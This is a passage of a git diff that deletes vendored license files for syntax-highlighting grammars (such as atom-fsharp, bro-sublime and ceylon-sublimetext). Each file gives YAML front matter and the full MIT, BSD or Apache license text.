-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/atom-fsharp.txt b/vendor/licenses/grammar/atom-fsharp.txt
deleted file mode 100644
index 24a413ca4e..0000000000
--- a/vendor/licenses/grammar/atom-fsharp.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: atom-fsharp
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Krzysztof Cieslak
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/atom-language-clean.txt b/vendor/licenses/grammar/atom-language-clean.txt
deleted file mode 100644
index 43ea0cbb11..0000000000
--- a/vendor/licenses/grammar/atom-language-clean.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: atom-language-clean
-license: mit
----
-Copyright (c) 2015 <Your name here>
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/atom-language-purescript.txt b/vendor/licenses/grammar/atom-language-purescript.txt
deleted file mode 100644
index 737d5825e4..0000000000
--- a/vendor/licenses/grammar/atom-language-purescript.txt
+++ /dev/null
@@ -1,51 +0,0 @@
----
-type: grammar
-name: atom-language-purescript
-license: mit
----
-Copyright (c) 2014 Darin Morrison
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
----
-
-The PureScript language grammar is derived from the Haskell atom language
-grammar, from https://github.com/atom-haskell/language-haskell. Its LICENSE is
-reproduced below:
-
-Copyright (c) 2015 Atom-Haskell
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/atom-language-srt.txt b/vendor/licenses/grammar/atom-language-srt.txt
deleted file mode 100644
index 9a4c73e094..0000000000
--- a/vendor/licenses/grammar/atom-language-srt.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: atom-language-srt
-license: mit
----
-Copyright (c) 2016 Pieter Goetschalckx
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/atom-language-stan.txt b/vendor/licenses/grammar/atom-language-stan.txt
deleted file mode 100644
index 958df9b238..0000000000
--- a/vendor/licenses/grammar/atom-language-stan.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: atom-language-stan
-license: mit
----
-Copyright (c) 2015 Jeffrey B. Arnold
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/atom-salt.txt b/vendor/licenses/grammar/atom-salt.txt
deleted file mode 100644
index 8877135eb6..0000000000
--- a/vendor/licenses/grammar/atom-salt.txt
+++ /dev/null
@@ -1,36 +0,0 @@
----
-type: grammar
-name: atom-salt
-license: mit
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/textmate/yaml.tmbundle and distributed under the following
-license, located in `README.mdown`:
-
-Permission to copy, use, modify, sell and distribute this
-software is granted. This software is provided "as is" without
-express or implied warranty, and with no claim as to its
-suitability for any purpose.
diff --git a/vendor/licenses/grammar/atomic-dreams.txt b/vendor/licenses/grammar/atomic-dreams.txt
deleted file mode 100644
index 3905f73733..0000000000
--- a/vendor/licenses/grammar/atomic-dreams.txt
+++ /dev/null
@@ -1,14 +0,0 @@
----
-type: grammar
-name: atomic-dreams
-license: mit
-curated: true
----
-
-Copyright (c) 2016 Pieter-Jan Briers, Kyle J. Kemp
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/ats.txt b/vendor/licenses/grammar/ats.txt
deleted file mode 100644
index b771bd5cd4..0000000000
--- a/vendor/licenses/grammar/ats.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: ats
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2016 Hanwen (Steinway) Wu
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/awk-sublime.txt b/vendor/licenses/grammar/awk-sublime.txt
deleted file mode 100644
index 40a8ebbe05..0000000000
--- a/vendor/licenses/grammar/awk-sublime.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: awk-sublime
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2012-2014 John Nilsson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/bison.tmbundle.txt b/vendor/licenses/grammar/bison.tmbundle.txt
deleted file mode 100644
index 1956786e07..0000000000
--- a/vendor/licenses/grammar/bison.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: bison.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/boo.txt b/vendor/licenses/grammar/boo.txt
deleted file mode 100644
index 9cde56c0ea..0000000000
--- a/vendor/licenses/grammar/boo.txt
+++ /dev/null
@@ -1,13 +0,0 @@
----
-type: grammar
-name: boo
-license: mit
----
-The MIT License (MIT)
-Copyright (c) 2016 Roy "Shammah" Stoof & Ofer "oferei" Reichman
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/bro-sublime.txt b/vendor/licenses/grammar/bro-sublime.txt
deleted file mode 100644
index ce8fa28ee6..0000000000
--- a/vendor/licenses/grammar/bro-sublime.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: bro-sublime
-license: bsd-3-clause
----
-Copyright (c) 2014, Christian Struck <christian@struck.se> and the
-International Computer Science Institute. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-	* Redistributions of source code must retain the above copyright notice,
-	  this list of conditions and the following disclaimer.
-	* Redistributions in binary form must reproduce the above copyright notice,
-	  this list of conditions and the following disclaimer in the documentation
-	  and/or other materials provided with the distribution.
-	* Neither the name of the International Computer Science Institute nor the
-	  names of its contributors may be used to endorse or promote products
-	  derived from this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY DIRECT,
-INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
-BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
-LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
-OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
-ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/c.tmbundle.txt b/vendor/licenses/grammar/c.tmbundle.txt
deleted file mode 100644
index 052822bd3b..0000000000
--- a/vendor/licenses/grammar/c.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: c.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/capnproto.tmbundle.txt b/vendor/licenses/grammar/capnproto.tmbundle.txt
deleted file mode 100644
index 95d57390da..0000000000
--- a/vendor/licenses/grammar/capnproto.tmbundle.txt
+++ /dev/null
@@ -1,14 +0,0 @@
----
-type: grammar
-name: capnproto.tmbundle
-license: permissive
-curated: true
----
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/carto-atom.txt b/vendor/licenses/grammar/carto-atom.txt
deleted file mode 100644
index c1e383858d..0000000000
--- a/vendor/licenses/grammar/carto-atom.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: carto-atom
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Yohan Boniface
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/ceylon-sublimetext.txt b/vendor/licenses/grammar/ceylon-sublimetext.txt
deleted file mode 100644
index cc8d9f01eb..0000000000
--- a/vendor/licenses/grammar/ceylon-sublimetext.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: ceylon-sublimetext
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 Jean-Charles Roger
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/chapel-tmbundle.txt b/vendor/licenses/grammar/chapel-tmbundle.txt
deleted file mode 100644
index 159b9b4398..0000000000
--- a/vendor/licenses/grammar/chapel-tmbundle.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: chapel-tmbundle
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
